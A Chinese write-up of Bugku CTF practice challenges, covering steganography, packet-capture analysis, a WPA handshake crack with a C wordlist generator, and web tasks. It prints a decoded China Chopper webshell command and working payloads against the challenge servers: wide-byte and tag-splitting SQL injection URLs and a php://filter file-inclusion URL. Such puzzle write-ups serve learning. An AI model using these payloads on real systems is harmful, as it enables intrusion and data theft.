【bugku】CTF-练习平台writeup

CTF-练习平台writeup

CTF-练习平台

MISC

滴答~滴

看标题基本就知道是摩尔斯密码

“.”、”-“,直接在线摩尔斯解密 
这里写图片描述

聪明的小羊

小羊。。。老套路 
翻栅栏,栅栏密码。。。比较简单,直接看出来是两栏加密 
KEY{sad23jjdsa2}

这是一张单纯的图片??

看题目估计是道隐写术的题,先保存图片的说; 
30分的题,估计不会太难,直接文本编辑器打开;文本末尾发现了一行转义序列: 
这里写图片描述
看来这就是flag了,直接在线转码,Unicode转ascii 
这里写图片描述

telnet

看题目估计是考telnet协议,解压文件,是截获的数据包; 
telnet协议是明文传送username和password,这就好办了,wireshark打开文件,直接追踪TCP流 
【bugku】CTF-练习平台writeup_第1张图片

又一张图片,还单纯吗??

又是图片隐写术?保存图片,老套路binwalk跑一下: 
【bugku】CTF-练习平台writeup_第2张图片
隐藏了图片的,从偏移量158792开始分离出来: 
【bugku】CTF-练习平台writeup_第3张图片

多种方法解决

解压文件是个exe,诡异,winhex打开看一下 
这里写图片描述 
看来是用DATA URL将图片生成了数据流形式, 
直接在线base64还原成图片得到了一张二维码,直接扫码得KEY 
这里写图片描述

猜?

话说百度图片是不是有个识图功能? 
自己猜吧,我不会告诉你这是女神刘亦菲的

宽带信息泄露

conf.bin 看来是路由器配置文件 
上工具 routerpassview,没有的话想尽一切方法下载吧 
【bugku】CTF-练习平台writeup_第4张图片

直接查找user,注意是宽带用户名,所以是这一个 
【bugku】CTF-练习平台writeup_第5张图片

linux ??????

linux基础问题?? 
解压出来一个名为“flag”的文件,直接winhex打开。。。 
search flag。。。只找到了flag.txt 
search key。。。get~~

key{feb81d3834e2423c9903f4755464060b}

中国菜刀,不再web里?

~~~菜刀大法好,请自行学习菜刀大法 
.pcapng又是数据包,wireshark打开,既然是用的菜刀,那就找http协议,第四个http包里找到了一句话木马: 
【bugku】CTF-练习平台writeup_第6张图片

flag应该在挂马之后才拿到,找到下一个http包,wireshark追踪一下http流: 
【bugku】CTF-练习平台writeup_第7张图片

base64解码,得到代码

@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");$F="C:\\wwwroot\\flag.tar.gz";$fp=@fopen($F,'r');if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo('ERROR:// Can Not Read');};echo("X@Y");die();
Ü
  • 1
  • 2

从代码里可以看出传输文件flag.tar.gz,前后还有字符“X@Y”,正是刚才追踪到的传输的数据: 
【bugku】CTF-练习平台writeup_第8张图片
果然从下一个http包里,找到了对应数据,用wireshark显示该包对应数据分组字节

【bugku】CTF-练习平台writeup_第9张图片

然后把前后的“X@Y”删去,解码为压缩格式: 
【bugku】CTF-练习平台writeup_第10张图片

这么多数据包

根据提示要找getshell流,wireshark打开

先大致浏览一下,不难发现从第104个包开始应该是攻击机(192.168.116.138)在向目标机(192.168.116.159)进行端口扫描

之后可以大致找到攻击机远程连接目标机的包(通过3389端口),以及smb协议的包(用于Web连接和客户端与服务器之间的信息沟通)

再往下可以找到以5542开始的包已经getshell,追踪流可以看到其中有一个s4cr4t.txt的文件,base64解码得到flag

CCTF{do_you_like_sniffer}

再来一道隐写

套路 
winhex打开图片,修改图片分辨率,将宽度调高,即可看到被隐藏部分 
具体方法: 
winhex打开图片,修改图示部分(该部分确定png图片的宽度)至足够大的值 
这里写图片描述 
get flag:

flag{He1l0_d4_ba1}

一段Base64

好长一段base64编码。。。 
在线base64解码或者写个脚本都行

解码之后,观察一下,反斜杠加两位或三位数字,应该是八进制转义序列,八进制转ascii,脚本跑一下

\x格式的,看来是16进制,写个脚本16进制转ascii

\u开头的16进制Unicode编码,在线Unicode转换字符

纯数字应该是ascii码十进制表示,转为字符(注意先把中间的逗号删掉)

html转义字符,可以用Python解码(先删掉中间的空格)详细教程可以见Python HTML编码解码

继续Python html解码 
这里写图片描述 
get flag!

想蹭网先解开密码

文件是.cap,扔到wireshark里看一下,基本上都是802.11协议的包,WiFi认证过程重点在WPA的四次握手包,也就是eapol协议的包,过滤一下: 
【bugku】CTF-练习平台writeup_第11张图片
这就好办了,上aircrack-ng 
首先根据提示,密码是手机号,而且已经给出了前七位,先写个字典出来:

#include

int main(){
    int i,j,k,l;
    FILE *fp=NULL;
    fp=fopen("words.txt","w");
    for(i=0;i<=9;i++){
        for(j=0;j<=9;j++){
            for(k=0;k<=9;k++){
                for(l=0;l<=9;l++){
                    fprintf(fp,"1391040%d%d%d%d\n",i,j,k,l);
                }
            }
        }
    }
    fclose(fp);
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

aircrack-ng开始跑一下 
【bugku】CTF-练习平台writeup_第12张图片
get~! 
【bugku】CTF-练习平台writeup_第13张图片

妹子的陌陌

图片。。。又是隐写??? 
下载图片,老套路上binwalk: 
这里写图片描述

偏移量37340,分离得rar压缩包 
要密码。。。 
讲真,这密码破解确实废了不少功夫,虽然还拿字典跑了一下,但是直觉认为应该不会是这种方式。。。总之尝试了各种方式。。。最后calm down。。。以经验来讲,密码一定在哪里有提示,最后想到图片上是不是还有什么东西? 
没错,喜欢我吗. 密码拿去不谢 
解压出来一个txt

提取文本要点: 
1. 第一条电报内容应该是摩尔斯电码 
2. 第二条电报内容是AES加密 
3. 会得到一个二维码,而且二维码不正常

好吧,第一条电报拿去摩尔斯解密,是个网站

在线加解密网站,很明显解密第二条电报内容加密部分: 
【bugku】CTF-练习平台writeup_第14张图片

好吧,打开得到的URL:http://c.bugku.com/momoj2j.png

果然得到二维码,但是。。扫不出来? 
慢着,似乎哪里不对,二维码三个角的“回”字定位区颜色似乎是反转的。。。 
get了,将二维码颜色反转

扫码得KEY: 
这里写图片描述

就五层你能解开吗

待更。。。

WEB

签到题

没得说,加群拿flag,为了不破坏规则(~ ̄▽ ̄)~,这里就不放flag了

Web2

打开链接。。。被惊艳到了。。。 
一大波滑稽正在接近。。。好诡异 
firebug抓包没结果。。。只能审查元素了。。。 
get flag! 
【bugku】CTF-练习平台writeup_第15张图片

文件上传测试

看题目估计是上传绕过 
先上传个php试一下,提示 非图片文件 
那就上传图片,截包改文件后缀

get flag! 
这里写图片描述

计算题

打开链接,简单的加法运算? 
too young too simple~

页面设置了输入长度限制,只能输入一位。 
还说什么呢?firebug来改页面html代码吧 
【bugku】CTF-练习平台writeup_第16张图片 
验证得flag: 
【bugku】CTF-练习平台writeup_第17张图片

Web3

flag就在这里?在哪里? 
打开链接不停地弹窗。。。 
firebug来看一下页面响应

怪不得一直弹窗。。。 
看到最后,发现重点了:

&# HTML编码,直接解码得flag~: 
这里写图片描述

sql注入

根据提示,应该是GET方式的 id存在注入 
先用基本真假式注入发现没反应。。。 
又简单的试了些注入语句都没效果。。。 
然后。。。试试宽字节注入。。。 
http://103.238.227.13:10083/?id=1%df%27

看来路子对了,继续搞吧。 
union select测试到两列时出现回显: 
http://103.238.227.13:10083/?id=1%df%27 union select 1,2%23

构造语句查看一下数据库名 
http://103.238.227.13:10083/?id=1%df%27 union select 1,database()%23

库名sql5 
OK,开始注入吧,payload: 
http://103.238.227.13:10083/?id=1%df%27 union select 1,string from sql5.key where id=1%23 
get flag~ 
这里写图片描述

SQL注入1

源码审计。。。可以发现两个要点: 
存在sql关键词过滤,存在xss过滤, 
可以知道strip_tags()函数会过剥去字符串中的 HTML 标签,那么思路就出来了,比较简单,即在sql关键词中插入HTML标签绕过sql过滤,然后通过xss过滤删去HTML标签。 
union select测试发现同样有两列: 
http://103.238.227.13:10087/?id=1 un<>ion se<>lect 1,2%23 
找到表名,为sql3: 
http://103.238.227.13:10087/?id=1 un<>ion se<>lect database(),2%23 
最后得flag,payload: 
http://103.238.227.13:10087/?id=1 un<>ion se<>lect hash,2 fr<>om sql3.key%23 
flag: 
KEY{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}

你必须让他停下

打开链接后页面不停地刷新跳转。。。 
果断用burp截包,有点耐心,不停地抓包看页面响应就能找到flag了,而且页面响应处有提示flag的位置。 
flag: 
flag{dummy_game_1s_s0_popular}

变量1

这个请自行了解一下PHP全局变量-超全局变量 
payload: 
http://a.post.bugku.com/index1.php?args=GLOBALS 
flag: 
flag{92853051ab894a64f7865cf3c2128b34}

WEB4

这题就是看源码,url解码直接得源码,password的值应该为: 
67d709b2b54aa2aa648cf6e87a7114f1 
上传得flag: 
KEY{J22JK-HS11}

web5

看源码,自行了解jsfuck,直接将代码扔到控制台里跑出结果: 
ctf{whatfk}

flag在index里

进入链接发现url: 
http://b.post.bugku.com/post/index.php?file=show.php 
目测是文件包含,php://filter读取index.php 
http://b.post.bugku.com/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php 
然后base64解码得源码,get flag: 
flag{edulcni_elif_lacol_si_siht}

你可能感兴趣的:(ctf)